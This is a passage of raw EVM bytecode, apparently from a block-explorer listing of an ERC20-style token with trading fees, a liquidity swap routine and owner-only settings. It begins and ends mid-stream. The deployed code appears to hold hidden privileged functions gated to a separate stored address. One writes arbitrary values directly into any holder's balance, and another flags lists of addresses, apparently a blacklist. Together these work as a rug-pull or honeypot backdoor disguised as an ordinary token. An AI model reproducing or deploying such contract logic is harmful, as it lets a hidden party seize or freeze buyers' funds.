ffff16565b90505b5b600081111561368b576135e281600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287e90919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613682919061438b565b60405180910390a35b61369e8184612f4c90919063ffffffff16565b9150509392505050565b6000808314156136bb576000905061371d565b600082846136c99190614527565b90508284826136d891906144f6565b14613718576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161370f9061430b565b60405180910390fd5b809150505b92915050565b600061376583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613b49565b905092915050565b6000600267ffffffffffffffff81111561378a576137896147ce565b5b6040519080825280602002602001820160405280156137b85781602001602082028036833780820191505090505b50905030816000815181106137d0576137cf61479f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561387257600080fd5b505afa158015613886573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906138aa9190613cb7565b816001815181106138be576138bd61479f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061392530601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846128e4565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016139899594939291906143d6565b600060405180830381600087803b1580156139a357600080fd5b505af11580156139b7573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516139ec9291906143a6565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613a3e573d6000803e3d6000fd5b505050565b613a7030601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846128e4565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613abc611dae565b426040518863ffffffff1660e01b8152600401613ade969594939291906141f2565b6060604051808303818588803b158015613af757600080fd5b505af1158015613b0b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613b309190613f24565b5050505050565b6000613b4282613bac565b9050919050565b60008083118290613b90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613b879190614289565b60405180910390fd5b5060008385613b9f91906144f6565b9050809150509392505050565b6000819050919050565b600081359050613bc581614a04565b92915050565b600081519050613bda81614a04565b92915050565b60008083601f840112613bf657613bf5614802565b5b8235905067ffffffffffffffff811115613c1357613c126147fd565b5b602083019150836020820283011115613c2f57613c2e614807565b5b9250929050565b600081359050613c4581614a1b565b92915050565b600081359050613c5a81614a32565b92915050565b600081519050613c6f81614a32565b92915050565b600081359050613c8481614a49565b92915050565b600060208284031215613ca057613c9f614811565b5b6000613cae84828501613bb6565b91505092915050565b600060208284031215613ccd57613ccc614811565b5b6000613cdb84828501613bcb565b91505092915050565b60008060408385031215613cfb57613cfa614811565b5b6000613d0985828601613bb6565b9250506020613d1a85828601613bb6565b9150509250929050565b600080600060608486031215613d3d57613d3c614811565b5b6000613d4b86828701613bb6565b9350506020613d5c86828701613bb6565b9250506040613d6d86828701613c4b565b9150509250925092565b60008060408385031215613d8e57613d8d614811565b5b6000613d9c85828601613bb6565b9250506020613dad85828601613c4b565b9150509250929050565b600080600060408486031215613dd057613dcf614811565b5b600084013567ffffffffffffffff811115613dee57613ded61480c565b5b613dfa86828701613be0565b93509350506020613e0d86828701613c36565b9150509250925092565b600080600060408486031215613e3057613e2f614811565b5b600084013567ffffffffffffffff811115613e4e57613e4d61480c565b5b613e5a86828701613be0565b93509350506020613e6d86828701613c75565b9150509250925092565b600060208284031215613e8d57613e8c614811565b5b6000613e9b84828501613c36565b91505092915050565b600060208284031215613eba57613eb9614811565b5b6000613ec884828501613c4b565b91505092915050565b600080600060608486031215613eea57613ee9614811565b5b6000613ef886828701613c4b565b9350506020613f0986828701613c4b565b9250506040613f1a86828701613c4b565b9150509250925092565b600080600060608486031215613f3d57613f3c614811565b5b6000613f4b86828701613c60565b9350506020613f5c86828701613c60565b9250506040613f6d86828701613c60565b9150509250925092565b6000613f838383613f9e565b60208301905092915050565b613f98816145c7565b82525050565b613fa7816145b5565b82525050565b613fb6816145b5565b82525050565b6000613fc78261445b565b613fd1818561447e565b9350613fdc8361444b565b8060005b8381101561400d578151613ff48882613f77565b9750613fff83614471565b925050600181019050613fe0565b5085935050505092915050565b614023816145d9565b82525050565b6140328161461c565b82525050565b6140418161462e565b82525050565b600061405282614466565b61405c818561448f565b935061406c818560208601614664565b61407581614816565b840191505092915050565b600061408d60238361448f565b915061409882614827565b604082019050919050565b60006140b060228361448f565b91506140bb82614876565b604082019050919050565b60006140d3601b8361448f565b91506140de826148c5565b602082019050919050565b60006140f660218361448f565b9150614101826148ee565b604082019050919050565b600061411960208361448f565b91506141248261493d565b602082019050919050565b600061413c60258361448f565b915061414782614966565b604082019050919050565b600061415f60248361448f565b915061416a826149b5565b604082019050919050565b61417e81614605565b82525050565b61418d8161460f565b82525050565b60006020820190506141a86000830184613fad565b92915050565b60006020820190506141c36000830184613f8f565b92915050565b60006040820190506141de6000830185613fad565b6141eb6020830184613fad565b9392505050565b600060c0820190506142076000830189613fad565b6142146020830188614175565b6142216040830187614038565b61422e6060830186614038565b61423b6080830185613fad565b61424860a0830184614175565b979650505050505050565b6000602082019050614268600083018461401a565b92915050565b60006020820190506142836000830184614029565b92915050565b600060208201905081810360008301526142a38184614047565b905092915050565b600060208201905081810360008301526142c481614080565b9050919050565b600060208201905081810360008301526142e4816140a3565b9050919050565b60006020820190508181036000830152614304816140c6565b9050919050565b60006020820190508181036000830152614324816140e9565b9050919050565b600060208201905081810360008301526143448161410c565b9050919050565b600060208201905081810360008301526143648161412f565b9050919050565b6000602082019050818103600083015261438481614152565b9050919050565b60006020820190506143a06000830184614175565b92915050565b60006040820190506143bb6000830185614175565b81810360208301526143cd8184613fbc565b90509392505050565b600060a0820190506143eb6000830188614175565b6143f86020830187614038565b818103604083015261440a8186613fbc565b90506144196060830185613fad565b6144266080830184614175565b9695505050505050565b60006020820190506144456000830184614184565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006144ab82614605565b91506144b683614605565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156144eb576144ea614712565b5b828201905092915050565b600061450182614605565b915061450c83614605565b92508261451c5761451b614741565b5b828204905092915050565b600061453282614605565b915061453d83614605565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561457657614575614712565b5b828202905092915050565b600061458c82614605565b915061459783614605565b9250828210156145aa576145a9614712565b5b828203905092915050565b60006145c0826145e5565b9050919050565b60006145d2826145e5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061462782614640565b9050919050565b600061463982614605565b9050919050565b600061464b82614652565b9050919050565b600061465d826145e5565b9050919050565b60005b83811015614682578082015181840152602081019050614667565b83811115614691576000848401525b50505050565b600060028204905060018216806146af57607f821691505b602082108114156146c3576146c2614770565b5b50919050565b60006146d482614605565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561470757614706614712565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b614a0d816145b5565b8114614a1857600080fd5b50565b614a24816145d9565b8114614a2f57600080fd5b50565b614a3b81614605565b8114614a4657600080fd5b50565b614a528161460f565b8114614a5d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212207146c80656cbe38f3d895d880be285183d42414a6620963f5f961762a141c49664736f6c63430008070033

Deployed Bytecode

0x6080604052600436106103905760003560e01c80638b42507f116101dc578063c5d2418911610102578063da00097d116100a0578063f1d5f5171161006f578063f1d5f51714610da9578063f2514e8814610dd2578063f2fde38b14610e0f578063f872858a14610e3857610397565b8063da00097d14610ceb578063dc44b6a014610d16578063dd62ed3e14610d41578063f0cd1dac14610d7e57610397565b8063c867d60b116100dc578063c867d60b14610c2f578063cab0347114610c6c578063d1eb7f6b14610c97578063d469a20914610cc257610397565b8063c5d2418914610bae578063c816841b14610bd9578063c860795214610c0457610397565b8063a457c2d71161017a578063ae2116b811610149578063ae2116b814610af4578063c2d4640e14610b31578063c469b6dd14610b5a578063c49b9a8014610b8557610397565b8063a457c2d714610a26578063a5d69d1f14610a63578063a83f53a714610a8c578063a9059cbb14610ab757610397565b80639d0710e1116101b65780639d0710e11461097e578063a073d37f146109a7578063a08e671f146109d2578063a2a62722146109fd57610397565b80638b42507f146108eb5780638da5cb5b1461092857806395d89b411461095357610397565b80633b97084a116102c157806361a23c691161025f5780637d1db4a51161022e5780637d1db4a51461083f578063807c2d9c1461086a57806382eefb431461089557806388790a68146108c057610397565b806361a23c69146107855780636249faf1146107b057806370a08231146107d957806377f31d031461081657610397565b80634a74bb021161029b5780634a74bb02146106b5578063565904be146106e057806357a5802f1461071d5780635881f3ef1461074857610397565b80633b97084a146106265780633ecad2711461064f5780634847a79c1461068c57610397565b80632563ae831161032e5780632c4b2334116103085780632c4b23341461056c578063313ce5671461059557806335d23615146105c057806339509351146105e957610397565b80632563ae83146104ed57806327c8f835146105165780632b112e491461054157610397565b806314fbb4a71161036a57806314fbb4a71461042f5780631694505e1461045a57806318160ddd1461048557806323b872dd146104b057610397565b806306fdde031461039c578063095ea7b3146103c75780631245e3471461040457610397565b3661039757005b600080fd5b3480156103a857600080fd5b506103b1610e63565b6040516103be9190614289565b60405180910390f35b3480156103d357600080fd5b506103ee60048036038101906103e99190613d77565b610ef5565b6040516103fb9190614253565b60405180910390f35b34801561041057600080fd5b50610419610f13565b60405161042691906141ae565b60405180910390f35b34801561043b57600080fd5b50610444610f39565b604051610451919061438b565b60405180910390f35b34801561046657600080fd5b5061046f610f3f565b60405161047c919061426e565b60405180910390f35b34801561049157600080fd5b5061049a610f65565b6040516104a7919061438b565b60405180910390f35b3480156104bc57600080fd5b506104d760048036038101906104d29190613d24565b610f6f565b6040516104e49190614253565b60405180910390f35b3480156104f957600080fd5b50610514600480360381019061050f9190613e77565b611049565b005b34801561052257600080fd5b5061052b6110fb565b6040516105389190614193565b60405180910390f35b34801561054d57600080fd5b5061055661111f565b604051610563919061438b565b60405180910390f35b34801561057857600080fd5b50610593600480360381019061058e9190613c8a565b611163565b005b3480156105a157600080fd5b506105aa61123c565b6040516105b79190614430565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190613c8a565b611253565b005b3480156105f557600080fd5b50610610600480360381019061060b9190613d77565b61132c565b60405161061d9190614253565b60405180910390f35b34801561063257600080fd5b5061064d60048036038101906106489190613ea4565b6113df565b005b34801561065b57600080fd5b5061067660048036038101906106719190613c8a565b61147e565b6040516106839190614253565b60405180910390f35b34801561069857600080fd5b506106b360048036038101906106ae9190613d77565b61149e565b005b3480156106c157600080fd5b506106ca61151c565b6040516106d79190614253565b60405180910390f35b3480156106ec57600080fd5b5061070760048036038101906107029190613c8a565b61152f565b6040516107149190614253565b60405180910390f35b34801561072957600080fd5b5061073261154f565b60405161073f919061438b565b60405180910390f35b34801561075457600080fd5b5061076f600480360381019061076a9190613c8a565b611555565b60405161077c9190614193565b60405180910390f35b34801561079157600080fd5b5061079a611ab3565b6040516107a7919061438b565b60405180910390f35b3480156107bc57600080fd5b506107d760048036038101906107d29190613db7565b611ab9565b005b3480156107e557600080fd5b5061080060048036038101906107fb9190613c8a565b611bf3565b60405161080d919061438b565b60405180910390f35b34801561082257600080fd5b5061083d60048036038101906108389190613db7565b611c3c565b005b34801561084b57600080fd5b50610854611d76565b604051610861919061438b565b60405180910390f35b34801561087657600080fd5b5061087f611d7c565b60405161088c919061438b565b60405180910390f35b3480156108a157600080fd5b506108aa611d82565b6040516108b7919061438b565b60405180910390f35b3480156108cc57600080fd5b506108d5611d88565b6040516108e2919061438b565b60405180910390f35b3480156108f757600080fd5b50610912600480360381019061090d9190613c8a565b611d8e565b60405161091f9190614253565b60405180910390f35b34801561093457600080fd5b5061093d611dae565b60405161094a9190614193565b60405180910390f35b34801561095f57600080fd5b50610968611dd7565b6040516109759190614289565b60405180910390f35b34801561098a57600080fd5b506109a560048036038101906109a09190613e17565b611e69565b005b3480156109b357600080fd5b506109bc611fd3565b6040516109c9919061438b565b60405180910390f35b3480156109de57600080fd5b506109e7611fdd565b6040516109f4919061438b565b60405180910390f35b348015610a0957600080fd5b50610a246004803603810190610a1f9190613ed1565b611fe3565b005b348015610a3257600080fd5b50610a4d6004803603810190610a489190613d77565b6120c3565b604051610a5a9190614253565b60405180910390f35b348015610a6f57600080fd5b50610a8a6004803603810190610a859190613e77565b612190565b005b348015610a9857600080fd5b50610aa1612242565b604051610aae919061438b565b60405180910390f35b348015610ac357600080fd5b50610ade6004803603810190610ad99190613d77565b612248565b604051610aeb9190614253565b60405180910390f35b348015610b0057600080fd5b50610b1b6004803603810190610b169190613c8a565b612267565b604051610b289190614253565b60405180910390f35b348015610b3d57600080fd5b50610b586004803603810190610b539190613ed1565b612287565b005b348015610b6657600080fd5b50610b6f612367565b604051610b7c919061438b565b60405180910390f35b348015610b9157600080fd5b50610bac6004803603810190610ba79190613e77565b61236d565b005b348015610bba57600080fd5b50610bc3612456565b604051610bd0919061438b565b60405180910390f35b348015610be557600080fd5b50610bee61245c565b604051610bfb9190614193565b60405180910390f35b348015610c1057600080fd5b50610c19612482565b604051610c26919061438b565b60405180910390f35b348015610c3b57600080fd5b50610c566004803603810190610c519190613c8a565b612488565b604051610c639190614253565b60405180910390f35b348015610c7857600080fd5b50610c816124a8565b604051610c8e919061438b565b60405180910390f35b348015610ca357600080fd5b50610cac6124ae565b604051610cb991906141ae565b60405180910390f35b348015610cce57600080fd5b50610ce96004803603810190610ce49190613ed1565b6124d4565b005b348015610cf757600080fd5b50610d006125b4565b604051610d0d9190614253565b60405180910390f35b348015610d2257600080fd5b50610d2b6125c7565b604051610d38919061438b565b60405180910390f35b348015610d4d57600080fd5b50610d686004803603810190610d639190613ce4565b6125cd565b604051610d75919061438b565b60405180910390f35b348015610d8a57600080fd5b50610d93612654565b604051610da0919061438b565b60405180910390f35b348015610db557600080fd5b50610dd06004803603810190610dcb9190613ea4565b61265a565b005b348015610dde57600080fd5b50610df96004803603810190610df49190613c8a565b6126f9565b604051610e069190614253565b60405180910390f35b348015610e1b57600080fd5b50610e366004803603810190610e319190613c8a565b612719565b005b348015610e4457600080fd5b50610e4d61286b565b604051610e5a9190614253565b60405180910390f35b606060028054610e7290614697565b80601f0160208091040260200160405190810160405280929190818152602001828054610e9e90614697565b8015610eeb5780601f10610ec057610100808354040283529160200191610eeb565b820191906000526020600020905b815481529060010190602001808311610ece57829003601f168201915b5050505050905090565b6000610f09610f026128dc565b84846128e4565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015481565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601a54905090565b6000610f7c848484612aaf565b5061103e84610f896128dc565b61103985604051806060016040528060288152602001614a6160289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610fef6128dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ee89092919063ffffffff16565b6128e4565b600190509392505050565b6110516128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d59061432b565b60405180910390fd5b80601f60176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b600061115e61114d7f000000000000000000000000000000000000000000000000000000000000dead611bf3565b601a54612f4c90919063ffffffff16565b905090565b61116b6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ef9061432b565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900460ff16905090565b61125b6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112df9061432b565b60405180910390fd5b80600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006113d56113396128dc565b846113d0856007600061134a6128dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287e90919063ffffffff16565b6128e4565b6001905092915050565b6113e76128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611474576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146b9061432b565b60405180910390fd5b80601d8190555050565b600b6020528060005260406000206000915054906101000a900460ff1681565b6114ca600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633612f96565b6114d357611518565b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b601f60159054906101000a900460ff1681565b600d6020528060005260406000206000915054906101000a900460ff1681565b60145481565b600061155f6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e39061432b565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561163757600080fd5b505afa15801561164b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061166f9190613cb7565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156116d157600080fd5b505afa1580156116e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117099190613cb7565b6040518363ffffffff1660e01b81526004016117269291906141c9565b60206040518083038186803b15801561173e57600080fd5b505afa158015611752573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117769190613cb7565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611937578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156117f357600080fd5b505afa158015611807573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061182b9190613cb7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561188d57600080fd5b505afa1580156118a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118c59190613cb7565b6040518363ffffffff1660e01b81526004016118e29291906141c9565b602060405180830381600087803b1580156118fc57600080fd5b505af1158015611910573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119349190613cb7565b91505b81601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160096000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b60155481565b611ac16128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b459061432b565b60405180910390fd5b60005b83839050811015611bed578160096000868685818110611b7457611b7361479f565b5b9050602002016020810190611b899190613c8a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611be5906146c9565b915050611b51565b50505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611c446128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc89061432b565b60405180910390fd5b60005b83839050811015611d70578160086000868685818110611cf757611cf661479f565b5b9050602002016020810190611d0c9190613c8a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611d68906146c9565b915050611cd4565b50505050565b601b5481565b601c5481565b60185481565b60115481565b600a6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054611de690614697565b80601f0160208091040260200160405190810160405280929190818152602001828054611e1290614697565b8015611e5f5780601f10611e3457610100808354040283529160200191611e5f565b820191906000526020600020905b815481529060010190602001808311611e4257829003601f168201915b5050505050905090565b611e95600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633612f96565b611e9e57611fce565b60005b83839050811015611fcc5760058260ff1614611f3b576001600d6000868685818110611ed057611ecf61479f565b5b9050602002016020810190611ee59190613c8a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611fbb565b6000600d6000868685818110611f5457611f5361479f565b5b9050602002016020810190611f699190613c8a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80611fc5906146c9565b9050611ea1565b505b505050565b6000601d54905090565b60195481565b611feb6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612078576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206f9061432b565b60405180910390fd5b8260118190555081601281905550806013819055506120b86013546120aa60125460115461287e90919063ffffffff16565b61287e90919063ffffffff16565b601881905550505050565b60006121866120d06128dc565b8461218185604051806060016040528060258152602001614a8960259139600760006120fa6128dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ee89092919063ffffffff16565b6128e4565b6001905092915050565b6121986128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612225576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221c9061432b565b60405180910390fd5b80601f60166101000a81548160ff02191690831515021790555050565b60165481565b600061225c6122556128dc565b8484612aaf565b506001905092915050565b600c6020528060005260406000206000915054906101000a900460ff1681565b61228f6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461231c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123139061432b565b60405180910390fd5b82601481905550816015819055508060168190555061235c60165461234e60155460145461287e90919063ffffffff16565b61287e90919063ffffffff16565b601981905550505050565b60105481565b6123756128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612402576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f99061432b565b60405180910390fd5b80601f60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1598160405161244b9190614253565b60405180910390a150565b600f5481565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b60096020528060005260406000206000915054906101000a900460ff1681565b60135481565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6124dc6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612569576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125609061432b565b60405180910390fd5b82600e8190555081600f81905550806010819055506125a960105461259b600f54600e5461287e90919063ffffffff16565b61287e90919063ffffffff16565b601781905550505050565b601f60169054906101000a900460ff1681565b600e5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60175481565b6126626128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126e69061432b565b60405180910390fd5b80601c8190555050565b60086020528060005260406000206000915054906101000a900460ff1681565b6127216128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146127ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127a59061432b565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601f60179054906101000a900460ff1681565b600080828461288d91906144a0565b9050838110156128d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128c9906142eb565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b9061436b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129bb906142cb565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612aa2919061438b565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612b20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b179061434b565b60405180910390fd5b60007